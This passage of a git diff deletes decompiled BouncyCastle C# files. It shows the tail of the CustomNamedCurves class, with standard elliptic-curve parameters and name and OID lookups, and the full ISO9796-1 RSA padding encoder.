X9ECParametersHolder Instance = new SecP224K1Holder(); - - private SecP224K1Holder() - { - } - - protected override X9ECParameters CreateParameters() - { - byte[] seed = null; - GlvTypeBParameters p = new GlvTypeBParameters(new BigInteger("fe0e87005b4e83761908c5131d552a850b3f58b749c37cf5b84d6768", 16), new BigInteger("60dcd2104c4cbc0be6eeefc2bdd610739ec34e317f9b33046c9e4788", 16), new BigInteger[2] - { - new BigInteger("6b8cf07d4ca75c88957d9d670591", 16), - new BigInteger("-b8adf1378a6eb73409fa6c9c637d", 16) - }, new BigInteger[2] - { - new BigInteger("1243ae1b4d71613bc9f780a03690e", 16), - new BigInteger("6b8cf07d4ca75c88957d9d670591", 16) - }, new BigInteger("6b8cf07d4ca75c88957d9d67059037a4", 16), new BigInteger("b8adf1378a6eb73409fa6c9c637ba7f5", 16), 240); - ECCurve eCCurve = ConfigureCurveGlv(new SecP224K1Curve(), p); - X9ECPoint g = new X9ECPoint(eCCurve, Hex.Decode("04A1455B334DF099DF30FC28A169A467E9E47075A90F7E650EB6B7A45C7E089FED7FBA344282CAFBD6F7E319F7C0B0BD59E2CA4BDB556D61A5")); - return new X9ECParameters(eCCurve, g, eCCurve.Order, eCCurve.Cofactor, seed); - } - } - - internal class SecP224R1Holder : X9ECParametersHolder - { - internal static readonly X9ECParametersHolder Instance = new SecP224R1Holder(); - - private SecP224R1Holder() - { - } - - protected override X9ECParameters CreateParameters() - { - byte[] seed = Hex.Decode("BD71344799D5C7FCDC45B59FA3B9AB8F6A948BC5"); - ECCurve eCCurve = ConfigureCurve(new SecP224R1Curve()); - X9ECPoint g = new X9ECPoint(eCCurve, Hex.Decode("04B70E0CBD6BB4BF7F321390B94A03C1D356C21122343280D6115C1D21BD376388B5F723FB4C22DFE6CD4375A05A07476444D5819985007E34")); - return new X9ECParameters(eCCurve, g, eCCurve.Order, eCCurve.Cofactor, seed); - } - } - - internal class SecP256K1Holder : X9ECParametersHolder - { - internal static readonly X9ECParametersHolder Instance = new SecP256K1Holder(); - - private SecP256K1Holder() - { - } - - protected override X9ECParameters CreateParameters() - { - byte[] seed = null; - GlvTypeBParameters p = new GlvTypeBParameters(new BigInteger("7ae96a2b657c07106e64479eac3434e99cf0497512f58995c1396c28719501ee", 16), new BigInteger("5363ad4cc05c30e0a5261c028812645a122e22ea20816678df02967c1b23bd72", 16), new BigInteger[2] - { - new BigInteger("3086d221a7d46bcde86c90e49284eb15", 16), - new BigInteger("-e4437ed6010e88286f547fa90abfe4c3", 16) - }, new BigInteger[2] - { - new BigInteger("114ca50f7a8e2f3f657c1108d9d44cfd8", 16), - new BigInteger("3086d221a7d46bcde86c90e49284eb15", 16) - }, new BigInteger("3086d221a7d46bcde86c90e49284eb153dab", 16), new BigInteger("e4437ed6010e88286f547fa90abfe4c42212", 16), 272); - ECCurve eCCurve = ConfigureCurveGlv(new SecP256K1Curve(), p); - X9ECPoint g = new X9ECPoint(eCCurve, Hex.Decode("0479BE667EF9DCBBAC55A06295CE870B07029BFCDB2DCE28D959F2815B16F81798483ADA7726A3C4655DA4FBFC0E1108A8FD17B448A68554199C47D08FFB10D4B8")); - return new X9ECParameters(eCCurve, g, eCCurve.Order, eCCurve.Cofactor, seed); - } - } - - internal class SecP256R1Holder : X9ECParametersHolder - { - internal static readonly X9ECParametersHolder Instance = new SecP256R1Holder(); - - private SecP256R1Holder() - { - } - - protected override X9ECParameters CreateParameters() - { - byte[] seed = Hex.Decode("C49D360886E704936A6678E1139D26B7819F7E90"); - ECCurve eCCurve = ConfigureCurve(new SecP256R1Curve()); - X9ECPoint g = new X9ECPoint(eCCurve, Hex.Decode("046B17D1F2E12C4247F8BCE6E563A440F277037D812DEB33A0F4A13945D898C2964FE342E2FE1A7F9B8EE7EB4A7C0F9E162BCE33576B315ECECBB6406837BF51F5")); - return new X9ECParameters(eCCurve, g, eCCurve.Order, eCCurve.Cofactor, seed); - } - } - - internal class SecP384R1Holder : X9ECParametersHolder - { - internal static readonly X9ECParametersHolder Instance = new SecP384R1Holder(); - - private SecP384R1Holder() - { - } - - protected override X9ECParameters CreateParameters() - { - byte[] seed = Hex.Decode("A335926AA319A27A1D00896A6773A4827ACDAC73"); - ECCurve eCCurve = ConfigureCurve(new SecP384R1Curve()); - X9ECPoint g = new X9ECPoint(eCCurve, Hex.Decode("04AA87CA22BE8B05378EB1C71EF320AD746E1D3B628BA79B9859F741E082542A385502F25DBF55296C3A545E3872760AB73617DE4A96262C6F5D9E98BF9292DC29F8F41DBD289A147CE9DA3113B5F0B8C00A60B1CE1D7E819D7A431D7C90EA0E5F")); - return new X9ECParameters(eCCurve, g, eCCurve.Order, eCCurve.Cofactor, seed); - } - } - - internal class SecP521R1Holder : X9ECParametersHolder - { - internal static readonly X9ECParametersHolder Instance = new SecP521R1Holder(); - - private SecP521R1Holder() - { - } - - protected override X9ECParameters CreateParameters() - { - byte[] seed = Hex.Decode("D09E8800291CB85396CC6717393284AAA0DA64BA"); - ECCurve eCCurve = ConfigureCurve(new SecP521R1Curve()); - X9ECPoint g = new X9ECPoint(eCCurve, Hex.Decode("0400C6858E06B70404E9CD9E3ECB662395B4429C648139053FB521F828AF606B4D3DBAA14B5E77EFE75928FE1DC127A2FFA8DE3348B3C1856A429BF97E7E31C2E5BD66011839296A789A3BC0045C8A5FB42C7D1BD998F54449579B446817AFBD17273E662C97EE72995EF42640C550B9013FAD0761353C7086A272C24088BE94769FD16650")); - return new X9ECParameters(eCCurve, g, eCCurve.Order, eCCurve.Cofactor, seed); - } - } - - internal class SecT113R1Holder : X9ECParametersHolder - { - internal static readonly X9ECParametersHolder Instance = new SecT113R1Holder(); - - private SecT113R1Holder() - { - } - - protected override X9ECParameters CreateParameters() - { - byte[] seed = Hex.Decode("10E723AB14D696E6768756151756FEBF8FCB49A9"); - ECCurve eCCurve = ConfigureCurve(new SecT113R1Curve()); - X9ECPoint g = new X9ECPoint(eCCurve, Hex.Decode("04009D73616F35F4AB1407D73562C10F00A52830277958EE84D1315ED31886")); - return new X9ECParameters(eCCurve, g, eCCurve.Order, eCCurve.Cofactor, seed); - } - } - - internal class SecT113R2Holder : X9ECParametersHolder - { - internal static readonly X9ECParametersHolder Instance = new SecT113R2Holder(); - - private SecT113R2Holder() - { - } - - protected override X9ECParameters CreateParameters() - { - byte[] seed = Hex.Decode("10C0FB15760860DEF1EEF4D696E676875615175D"); - ECCurve eCCurve = ConfigureCurve(new SecT113R2Curve()); - X9ECPoint g = new X9ECPoint(eCCurve, Hex.Decode("0401A57A6A7B26CA5EF52FCDB816479700B3ADC94ED1FE674C06E695BABA1D")); - return new X9ECParameters(eCCurve, g, eCCurve.Order, eCCurve.Cofactor, seed); - } - } - - internal class SecT131R1Holder : X9ECParametersHolder - { - internal static readonly X9ECParametersHolder Instance = new SecT131R1Holder(); - - private SecT131R1Holder() - { - } - - protected override X9ECParameters CreateParameters() - { - byte[] seed = Hex.Decode("4D696E676875615175985BD3ADBADA21B43A97E2"); - ECCurve eCCurve = ConfigureCurve(new SecT131R1Curve()); - X9ECPoint g = new X9ECPoint(eCCurve, Hex.Decode("040081BAF91FDF9833C40F9C181343638399078C6E7EA38C001F73C8134B1B4EF9E150")); - return new X9ECParameters(eCCurve, g, eCCurve.Order, eCCurve.Cofactor, seed); - } - } - - internal class SecT131R2Holder : X9ECParametersHolder - { - internal static readonly X9ECParametersHolder Instance = new SecT131R2Holder(); - - private SecT131R2Holder() - { - } - - protected override X9ECParameters CreateParameters() - { - byte[] seed = Hex.Decode("985BD3ADBAD4D696E676875615175A21B43A97E3"); - ECCurve eCCurve = ConfigureCurve(new SecT131R2Curve()); - X9ECPoint g = new X9ECPoint(eCCurve, Hex.Decode("040356DCD8F2F95031AD652D23951BB366A80648F06D867940A5366D9E265DE9EB240F")); - return new X9ECParameters(eCCurve, g, eCCurve.Order, eCCurve.Cofactor, seed); - } - } - - internal class SecT163K1Holder : X9ECParametersHolder - { - internal static readonly X9ECParametersHolder Instance = new SecT163K1Holder(); - - private SecT163K1Holder() - { - } - - protected override X9ECParameters CreateParameters() - { - byte[] seed = null; - ECCurve eCCurve = ConfigureCurve(new SecT163K1Curve()); - X9ECPoint g = new X9ECPoint(eCCurve, Hex.Decode("0402FE13C0537BBC11ACAA07D793DE4E6D5E5C94EEE80289070FB05D38FF58321F2E800536D538CCDAA3D9")); - return new X9ECParameters(eCCurve, g, eCCurve.Order, eCCurve.Cofactor, seed); - } - } - - internal class SecT163R1Holder : X9ECParametersHolder - { - internal static readonly X9ECParametersHolder Instance = new SecT163R1Holder(); - - private SecT163R1Holder() - { - } - - protected override X9ECParameters CreateParameters() - { - byte[] seed = Hex.Decode("24B7B137C8A14D696E6768756151756FD0DA2E5C"); - ECCurve eCCurve = ConfigureCurve(new SecT163R1Curve()); - X9ECPoint g = new X9ECPoint(eCCurve, Hex.Decode("040369979697AB43897789566789567F787A7876A65400435EDB42EFAFB2989D51FEFCE3C80988F41FF883")); - return new X9ECParameters(eCCurve, g, eCCurve.Order, eCCurve.Cofactor, seed); - } - } - - internal class SecT163R2Holder : X9ECParametersHolder - { - internal static readonly X9ECParametersHolder Instance = new SecT163R2Holder(); - - private SecT163R2Holder() - { - } - - protected override X9ECParameters CreateParameters() - { - byte[] seed = Hex.Decode("85E25BFE5C86226CDB12016F7553F9D0E693A268"); - ECCurve eCCurve = ConfigureCurve(new SecT163R2Curve()); - X9ECPoint g = new X9ECPoint(eCCurve, Hex.Decode("0403F0EBA16286A2D57EA0991168D4994637E8343E3600D51FBC6C71A0094FA2CDD545B11C5C0C797324F1")); - return new X9ECParameters(eCCurve, g, eCCurve.Order, eCCurve.Cofactor, seed); - } - } - - internal class SecT193R1Holder : X9ECParametersHolder - { - internal static readonly X9ECParametersHolder Instance = new SecT193R1Holder(); - - private SecT193R1Holder() - { - } - - protected override X9ECParameters CreateParameters() - { - byte[] seed = Hex.Decode("103FAEC74D696E676875615175777FC5B191EF30"); - ECCurve eCCurve = ConfigureCurve(new SecT193R1Curve()); - X9ECPoint g = new X9ECPoint(eCCurve, Hex.Decode("0401F481BC5F0FF84A74AD6CDF6FDEF4BF6179625372D8C0C5E10025E399F2903712CCF3EA9E3A1AD17FB0B3201B6AF7CE1B05")); - return new X9ECParameters(eCCurve, g, eCCurve.Order, eCCurve.Cofactor, seed); - } - } - - internal class SecT193R2Holder : X9ECParametersHolder - { - internal static readonly X9ECParametersHolder Instance = new SecT193R2Holder(); - - private SecT193R2Holder() - { - } - - protected override X9ECParameters CreateParameters() - { - byte[] seed = Hex.Decode("10B7B4D696E676875615175137C8A16FD0DA2211"); - ECCurve eCCurve = ConfigureCurve(new SecT193R2Curve()); - X9ECPoint g = new X9ECPoint(eCCurve, Hex.Decode("0400D9B67D192E0367C803F39E1A7E82CA14A651350AAE617E8F01CE94335607C304AC29E7DEFBD9CA01F596F927224CDECF6C")); - return new X9ECParameters(eCCurve, g, eCCurve.Order, eCCurve.Cofactor, seed); - } - } - - internal class SecT233K1Holder : X9ECParametersHolder - { - internal static readonly X9ECParametersHolder Instance = new SecT233K1Holder(); - - private SecT233K1Holder() - { - } - - protected override X9ECParameters CreateParameters() - { - byte[] seed = null; - ECCurve eCCurve = ConfigureCurve(new SecT233K1Curve()); - X9ECPoint g = new X9ECPoint(eCCurve, Hex.Decode("04017232BA853A7E731AF129F22FF4149563A419C26BF50A4C9D6EEFAD612601DB537DECE819B7F70F555A67C427A8CD9BF18AEB9B56E0C11056FAE6A3")); - return new X9ECParameters(eCCurve, g, eCCurve.Order, eCCurve.Cofactor, seed); - } - } - - internal class SecT233R1Holder : X9ECParametersHolder - { - internal static readonly X9ECParametersHolder Instance = new SecT233R1Holder(); - - private SecT233R1Holder() - { - } - - protected override X9ECParameters CreateParameters() - { - byte[] seed = Hex.Decode("74D59FF07F6B413D0EA14B344B20A2DB049B50C3"); - ECCurve eCCurve = ConfigureCurve(new SecT233R1Curve()); - X9ECPoint g = new X9ECPoint(eCCurve, Hex.Decode("0400FAC9DFCBAC8313BB2139F1BB755FEF65BC391F8B36F8F8EB7371FD558B01006A08A41903350678E58528BEBF8A0BEFF867A7CA36716F7E01F81052")); - return new X9ECParameters(eCCurve, g, eCCurve.Order, eCCurve.Cofactor, seed); - } - } - - internal class SecT239K1Holder : X9ECParametersHolder - { - internal static readonly X9ECParametersHolder Instance = new SecT239K1Holder(); - - private SecT239K1Holder() - { - } - - protected override X9ECParameters CreateParameters() - { - byte[] seed = null; - ECCurve eCCurve = ConfigureCurve(new SecT239K1Curve()); - X9ECPoint g = new X9ECPoint(eCCurve, Hex.Decode("0429A0B6A887A983E9730988A68727A8B2D126C44CC2CC7B2A6555193035DC76310804F12E549BDB011C103089E73510ACB275FC312A5DC6B76553F0CA")); - return new X9ECParameters(eCCurve, g, eCCurve.Order, eCCurve.Cofactor, seed); - } - } - - internal class SecT283K1Holder : X9ECParametersHolder - { - internal static readonly X9ECParametersHolder Instance = new SecT283K1Holder(); - - private SecT283K1Holder() - { - } - - protected override X9ECParameters CreateParameters() - { - byte[] seed = null; - ECCurve eCCurve = ConfigureCurve(new SecT283K1Curve()); - X9ECPoint g = new X9ECPoint(eCCurve, Hex.Decode("040503213F78CA44883F1A3B8162F188E553CD265F23C1567A16876913B0C2AC245849283601CCDA380F1C9E318D90F95D07E5426FE87E45C0E8184698E45962364E34116177DD2259")); - return new X9ECParameters(eCCurve, g, eCCurve.Order, eCCurve.Cofactor, seed); - } - } - - internal class SecT283R1Holder : X9ECParametersHolder - { - internal static readonly X9ECParametersHolder Instance = new SecT283R1Holder(); - - private SecT283R1Holder() - { - } - - protected override X9ECParameters CreateParameters() - { - byte[] seed = Hex.Decode("77E2B07370EB0F832A6DD5B62DFC88CD06BB84BE"); - ECCurve eCCurve = ConfigureCurve(new SecT283R1Curve()); - X9ECPoint g = new X9ECPoint(eCCurve, Hex.Decode("0405F939258DB7DD90E1934F8C70B0DFEC2EED25B8557EAC9C80E2E198F8CDBECD86B1205303676854FE24141CB98FE6D4B20D02B4516FF702350EDDB0826779C813F0DF45BE8112F4")); - return new X9ECParameters(eCCurve, g, eCCurve.Order, eCCurve.Cofactor, seed); - } - } - - internal class SecT409K1Holder : X9ECParametersHolder - { - internal static readonly X9ECParametersHolder Instance = new SecT409K1Holder(); - - private SecT409K1Holder() - { - } - - protected override X9ECParameters CreateParameters() - { - byte[] seed = null; - ECCurve eCCurve = ConfigureCurve(new SecT409K1Curve()); - X9ECPoint g = new X9ECPoint(eCCurve, Hex.Decode("040060F05F658F49C1AD3AB1890F7184210EFD0987E307C84C27ACCFB8F9F67CC2C460189EB5AAAA62EE222EB1B35540CFE902374601E369050B7C4E42ACBA1DACBF04299C3460782F918EA427E6325165E9EA10E3DA5F6C42E9C55215AA9CA27A5863EC48D8E0286B")); - return new X9ECParameters(eCCurve, g, eCCurve.Order, eCCurve.Cofactor, seed); - } - } - - internal class SecT409R1Holder : X9ECParametersHolder - { - internal static readonly X9ECParametersHolder Instance = new SecT409R1Holder(); - - private SecT409R1Holder() - { - } - - protected override X9ECParameters CreateParameters() - { - byte[] seed = Hex.Decode("4099B5A457F9D69F79213D094C4BCD4D4262210B"); - ECCurve eCCurve = ConfigureCurve(new SecT409R1Curve()); - X9ECPoint g = new X9ECPoint(eCCurve, Hex.Decode("04015D4860D088DDB3496B0C6064756260441CDE4AF1771D4DB01FFE5B34E59703DC255A868A1180515603AEAB60794E54BB7996A70061B1CFAB6BE5F32BBFA78324ED106A7636B9C5A7BD198D0158AA4F5488D08F38514F1FDF4B4F40D2181B3681C364BA0273C706")); - return new X9ECParameters(eCCurve, g, eCCurve.Order, eCCurve.Cofactor, seed); - } - } - - internal class SecT571K1Holder : X9ECParametersHolder - { - internal static readonly X9ECParametersHolder Instance = new SecT571K1Holder(); - - private SecT571K1Holder() - { - } - - protected override X9ECParameters CreateParameters() - { - byte[] seed = null; - ECCurve eCCurve = ConfigureCurve(new SecT571K1Curve()); - X9ECPoint g = new X9ECPoint(eCCurve, Hex.Decode("04026EB7A859923FBC82189631F8103FE4AC9CA2970012D5D46024804801841CA44370958493B205E647DA304DB4CEB08CBBD1BA39494776FB988B47174DCA88C7E2945283A01C89720349DC807F4FBF374F4AEADE3BCA95314DD58CEC9F307A54FFC61EFC006D8A2C9D4979C0AC44AEA74FBEBBB9F772AEDCB620B01A7BA7AF1B320430C8591984F601CD4C143EF1C7A3")); - return new X9ECParameters(eCCurve, g, eCCurve.Order, eCCurve.Cofactor, seed); - } - } - - internal class SecT571R1Holder : X9ECParametersHolder - { - internal static readonly X9ECParametersHolder Instance = new SecT571R1Holder(); - - private SecT571R1Holder() - { - } - - protected override X9ECParameters CreateParameters() - { - byte[] seed = Hex.Decode("2AA058F73A0E33AB486B0F610410C53A7F132310"); - ECCurve eCCurve = ConfigureCurve(new SecT571R1Curve()); - X9ECPoint g = new X9ECPoint(eCCurve, Hex.Decode("040303001D34B856296C16C0D40D3CD7750A93D1D2955FA80AA5F40FC8DB7B2ABDBDE53950F4C0D293CDD711A35B67FB1499AE60038614F1394ABFA3B4C850D927E1E7769C8EEC2D19037BF27342DA639B6DCCFFFEB73D69D78C6C27A6009CBBCA1980F8533921E8A684423E43BAB08A576291AF8F461BB2A8B3531D2F0485C19B16E2F1516E23DD3C1A4827AF1B8AC15B")); - return new X9ECParameters(eCCurve, g, eCCurve.Order, eCCurve.Cofactor, seed); - } - } - - internal class SM2P256V1Holder : X9ECParametersHolder - { - internal static readonly X9ECParametersHolder Instance = new SM2P256V1Holder(); - - private SM2P256V1Holder() - { - } - - protected override X9ECParameters CreateParameters() - { - byte[] seed = null; - ECCurve eCCurve = ConfigureCurve(new SM2P256V1Curve()); - X9ECPoint g = new X9ECPoint(eCCurve, Hex.Decode("0432C4AE2C1F1981195F9904466A39C9948FE30BBFF2660BE1715A4589334C74C7BC3736A2F4F6779C59BDCEE36B692153D0A9877CC62A474002DF32E52139F0A0")); - return new X9ECParameters(eCCurve, g, eCCurve.Order, eCCurve.Cofactor, seed); - } - } - - private static readonly IDictionary nameToCurve; - - private static readonly IDictionary nameToOid; - - private static readonly IDictionary oidToCurve; - - private static readonly IDictionary oidToName; - - private static readonly IList names; - - public static IEnumerable Names => new EnumerableProxy(names); - - private CustomNamedCurves() - { - } - - private static BigInteger FromHex(string hex) - { - return new BigInteger(1, Hex.Decode(hex)); - } - - private static ECCurve ConfigureCurve(ECCurve curve) - { - return curve; - } - - private static ECCurve ConfigureCurveGlv(ECCurve c, GlvTypeBParameters p) - { - return c.Configure().SetEndomorphism(new GlvTypeBEndomorphism(c, p)).Create(); - } - - private static void DefineCurve(string name, X9ECParametersHolder holder) - { - names.Add(name); - name = Platform.ToUpperInvariant(name); - nameToCurve.Add(name, holder); - } - - private static void DefineCurveWithOid(string name, DerObjectIdentifier oid, X9ECParametersHolder holder) - { - names.Add(name); - oidToName.Add(oid, name); - oidToCurve.Add(oid, holder); - name = Platform.ToUpperInvariant(name); - nameToOid.Add(name, oid); - nameToCurve.Add(name, holder); - } - - private static void DefineCurveAlias(string name, DerObjectIdentifier oid) - { - object obj = oidToCurve[oid]; - if (obj == null) - { - throw new InvalidOperationException(); - } - name = Platform.ToUpperInvariant(name); - nameToOid.Add(name, oid); - nameToCurve.Add(name, obj); - } - - static CustomNamedCurves() - { - nameToCurve = Platform.CreateHashtable(); - nameToOid = Platform.CreateHashtable(); - oidToCurve = Platform.CreateHashtable(); - oidToName = Platform.CreateHashtable(); - names = Platform.CreateArrayList(); - DefineCurve("curve25519", Curve25519Holder.Instance); - DefineCurveWithOid("secp128r1", SecObjectIdentifiers.SecP128r1, SecP128R1Holder.Instance); - DefineCurveWithOid("secp160k1", SecObjectIdentifiers.SecP160k1, SecP160K1Holder.Instance); - DefineCurveWithOid("secp160r1", SecObjectIdentifiers.SecP160r1, SecP160R1Holder.Instance); - DefineCurveWithOid("secp160r2", SecObjectIdentifiers.SecP160r2, SecP160R2Holder.Instance); - DefineCurveWithOid("secp192k1", SecObjectIdentifiers.SecP192k1, SecP192K1Holder.Instance); - DefineCurveWithOid("secp192r1", SecObjectIdentifiers.SecP192r1, SecP192R1Holder.Instance); - DefineCurveWithOid("secp224k1", SecObjectIdentifiers.SecP224k1, SecP224K1Holder.Instance); - DefineCurveWithOid("secp224r1", SecObjectIdentifiers.SecP224r1, SecP224R1Holder.Instance); - DefineCurveWithOid("secp256k1", SecObjectIdentifiers.SecP256k1, SecP256K1Holder.Instance); - DefineCurveWithOid("secp256r1", SecObjectIdentifiers.SecP256r1, SecP256R1Holder.Instance); - DefineCurveWithOid("secp384r1", SecObjectIdentifiers.SecP384r1, SecP384R1Holder.Instance); - DefineCurveWithOid("secp521r1", SecObjectIdentifiers.SecP521r1, SecP521R1Holder.Instance); - DefineCurveWithOid("sect113r1", SecObjectIdentifiers.SecT113r1, SecT113R1Holder.Instance); - DefineCurveWithOid("sect113r2", SecObjectIdentifiers.SecT113r2, SecT113R2Holder.Instance); - DefineCurveWithOid("sect131r1", SecObjectIdentifiers.SecT131r1, SecT131R1Holder.Instance); - DefineCurveWithOid("sect131r2", SecObjectIdentifiers.SecT131r2, SecT131R2Holder.Instance); - DefineCurveWithOid("sect163k1", SecObjectIdentifiers.SecT163k1, SecT163K1Holder.Instance); - DefineCurveWithOid("sect163r1", SecObjectIdentifiers.SecT163r1, SecT163R1Holder.Instance); - DefineCurveWithOid("sect163r2", SecObjectIdentifiers.SecT163r2, SecT163R2Holder.Instance); - DefineCurveWithOid("sect193r1", SecObjectIdentifiers.SecT193r1, SecT193R1Holder.Instance); - DefineCurveWithOid("sect193r2", SecObjectIdentifiers.SecT193r2, SecT193R2Holder.Instance); - DefineCurveWithOid("sect233k1", SecObjectIdentifiers.SecT233k1, SecT233K1Holder.Instance); - DefineCurveWithOid("sect233r1", SecObjectIdentifiers.SecT233r1, SecT233R1Holder.Instance); - DefineCurveWithOid("sect239k1", SecObjectIdentifiers.SecT239k1, SecT239K1Holder.Instance); - DefineCurveWithOid("sect283k1", SecObjectIdentifiers.SecT283k1, SecT283K1Holder.Instance); - DefineCurveWithOid("sect283r1", SecObjectIdentifiers.SecT283r1, SecT283R1Holder.Instance); - DefineCurveWithOid("sect409k1", SecObjectIdentifiers.SecT409k1, SecT409K1Holder.Instance); - DefineCurveWithOid("sect409r1", SecObjectIdentifiers.SecT409r1, SecT409R1Holder.Instance); - DefineCurveWithOid("sect571k1", SecObjectIdentifiers.SecT571k1, SecT571K1Holder.Instance); - DefineCurveWithOid("sect571r1", SecObjectIdentifiers.SecT571r1, SecT571R1Holder.Instance); - DefineCurveWithOid("sm2p256v1", GMObjectIdentifiers.sm2p256v1, SM2P256V1Holder.Instance); - DefineCurveAlias("B-163", SecObjectIdentifiers.SecT163r2); - DefineCurveAlias("B-233", SecObjectIdentifiers.SecT233r1); - DefineCurveAlias("B-283", SecObjectIdentifiers.SecT283r1); - DefineCurveAlias("B-409", SecObjectIdentifiers.SecT409r1); - DefineCurveAlias("B-571", SecObjectIdentifiers.SecT571r1); - DefineCurveAlias("K-163", SecObjectIdentifiers.SecT163k1); - DefineCurveAlias("K-233", SecObjectIdentifiers.SecT233k1); - DefineCurveAlias("K-283", SecObjectIdentifiers.SecT283k1); - DefineCurveAlias("K-409", SecObjectIdentifiers.SecT409k1); - DefineCurveAlias("K-571", SecObjectIdentifiers.SecT571k1); - DefineCurveAlias("P-192", SecObjectIdentifiers.SecP192r1); - DefineCurveAlias("P-224", SecObjectIdentifiers.SecP224r1); - DefineCurveAlias("P-256", SecObjectIdentifiers.SecP256r1); - DefineCurveAlias("P-384", SecObjectIdentifiers.SecP384r1); - DefineCurveAlias("P-521", SecObjectIdentifiers.SecP521r1); - } - - public static X9ECParameters GetByName(string name) - { - return ((X9ECParametersHolder)nameToCurve[Platform.ToUpperInvariant(name)])?.Parameters; - } - - public static X9ECParameters GetByOid(DerObjectIdentifier oid) - { - return ((X9ECParametersHolder)oidToCurve[oid])?.Parameters; - } - - public static DerObjectIdentifier GetOid(string name) - { - return (DerObjectIdentifier)nameToOid[Platform.ToUpperInvariant(name)]; - } - - public static string GetName(DerObjectIdentifier oid) - { - return (string)oidToName[oid]; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Encodings/ISO9796d1Encoding.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Encodings/ISO9796d1Encoding.cs deleted file mode 100644 index b03278c..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Encodings/ISO9796d1Encoding.cs +++ /dev/null @@ -1,203 +0,0 @@ -using System; -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Math; - -namespace Org.BouncyCastle.Crypto.Encodings; - -public class ISO9796d1Encoding : IAsymmetricBlockCipher -{ - private static readonly BigInteger Sixteen = BigInteger.ValueOf(16L); - - private static readonly BigInteger Six = BigInteger.ValueOf(6L); - - private static readonly byte[] shadows = new byte[16] - { - 14, 3, 5, 8, 9, 4, 2, 15, 0, 13, - 11, 6, 7, 10, 12, 1 - }; - - private static readonly byte[] inverse = new byte[16] - { - 8, 15, 6, 1, 5, 2, 11, 12, 3, 4, - 13, 10, 14, 9, 0, 7 - }; - - private readonly IAsymmetricBlockCipher engine; - - private bool forEncryption; - - private int bitSize; - - private int padBits = 0; - - private BigInteger modulus; - - public string AlgorithmName => engine.AlgorithmName + "/ISO9796-1Padding"; - - public ISO9796d1Encoding(IAsymmetricBlockCipher cipher) - { - engine = cipher; - } - - public IAsymmetricBlockCipher GetUnderlyingCipher() - { - return engine; - } - - public void Init(bool forEncryption, ICipherParameters parameters) - { - RsaKeyParameters rsaKeyParameters; - if (parameters is ParametersWithRandom) - { - ParametersWithRandom parametersWithRandom = (ParametersWithRandom)parameters; - rsaKeyParameters = (RsaKeyParameters)parametersWithRandom.Parameters; - } - else - { - rsaKeyParameters = (RsaKeyParameters)parameters; - } - engine.Init(forEncryption, parameters); - modulus = rsaKeyParameters.Modulus; - bitSize = modulus.BitLength; - this.forEncryption = forEncryption; - } - - public int GetInputBlockSize() - { - int inputBlockSize = engine.GetInputBlockSize(); - if (forEncryption) - { - return (inputBlockSize + 1) / 2; - } - return inputBlockSize; - } - - public int GetOutputBlockSize() - { - int outputBlockSize = engine.GetOutputBlockSize(); - if (forEncryption) - { - return outputBlockSize; - } - return (outputBlockSize + 1) / 2; - } - - public void SetPadBits(int padBits) - { - if (padBits > 7) - { - throw new ArgumentException("padBits > 7"); - } - this.padBits = padBits; - } - - public int GetPadBits() - { - return padBits; - } - - public byte[] ProcessBlock(byte[] input, int inOff, int length) - { - if (forEncryption) - { - return EncodeBlock(input, inOff, length); - } - return DecodeBlock(input, inOff, length); - } - - private byte[] EncodeBlock(byte[] input, int inOff, int inLen) - { - byte[] array = new byte[(bitSize + 7) / 8]; - int num = padBits + 1; - int num2 = (bitSize + 13) / 16; - for (int i = 0; i < num2; i += inLen) - { - if (i > num2 - inLen) - { - Array.Copy(input, inOff + inLen - (num2 - i), array, array.Length - num2, num2 - i); - } - else - { - Array.Copy(input, inOff, array, array.Length - (i + inLen), inLen); - } - } - for (int j = array.Length - 2 * num2; j != array.Length; j += 2) - { - byte b = array[array.Length - num2 + j / 2]; - array[j] = (byte)((shadows[(b & 0xFF) >>> 4] << 4) | shadows[b & 0xF]); - array[j + 1] = b; - } - byte[] array3; - byte[] array2 = (array3 = array); - int num3 = array.Length - 2 * inLen; - nint num4 = num3; - array2[num3] = (byte)(array3[num4] ^ (byte)num); - array[^1] = (byte)((array[^1] << 4) | 6); - int num5 = 8 - (bitSize - 1) % 8; - int num6 = 0; - if (num5 != 8) - { - (array3 = array)[0] = (byte)(array3[0] & (byte)(255 >> num5)); - (array3 = array)[0] = (byte)(array3[0] | (byte)(128 >> num5)); - } - else - { - array[0] = 0; - (array3 = array)[1] = (byte)(array3[1] | 0x80); - num6 = 1; - } - return engine.ProcessBlock(array, num6, array.Length - num6); - } - - private byte[] DecodeBlock(byte[] input, int inOff, int inLen) - { - byte[] bytes = engine.ProcessBlock(input, inOff, inLen); - int num = 1; - int num2 = (bitSize + 13) / 16; - BigInteger bigInteger = new BigInteger(1, bytes); - BigInteger bigInteger2; - if (bigInteger.Mod(Sixteen).Equals(Six)) - { - bigInteger2 = bigInteger; - } - else - { - bigInteger2 = modulus.Subtract(bigInteger); - if (!bigInteger2.Mod(Sixteen).Equals(Six)) - { - throw new InvalidCipherTextException("resulting integer iS or (modulus - iS) is not congruent to 6 mod 16"); - } - } - bytes = bigInteger2.ToByteArrayUnsigned(); - if ((bytes[^1] & 0xF) != 6) - { - throw new InvalidCipherTextException("invalid forcing byte in block"); - } - bytes[^1] = (byte)(((ushort)(bytes[^1] & 0xFF) >> 4) | (inverse[(bytes[^2] & 0xFF) >> 4] << 4)); - bytes[0] = (byte)((shadows[(bytes[1] & 0xFF) >>> 4] << 4) | shadows[bytes[1] & 0xF]); - bool flag = false; - int num3 = 0; - for (int num4 = bytes.Length - 1; num4 >= bytes.Length - 2 * num2; num4 -= 2) - { - int num5 = (shadows[(bytes[num4] & 0xFF) >>> 4] << 4) | shadows[bytes[num4] & 0xF]; - if (((bytes[num4 - 1] ^ num5) & 0xFF) != 0) - { - if (flag) - { - throw new InvalidCipherTextException("invalid tsums in block"); - } - flag = true; - num = (bytes[num4 - 1] ^ num5) & 0xFF; - num3 = num4 - 1; - } - } - bytes[num3] = 0; - byte[] array = new byte[(bytes.Length - num3) / 2]; - for (int i = 0; i < array.Length; i++) - { - array[i] = bytes[2 * i + num3 + 1]; - } - padBits = num - 1; - return array; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Encodings/OaepEncoding.cs 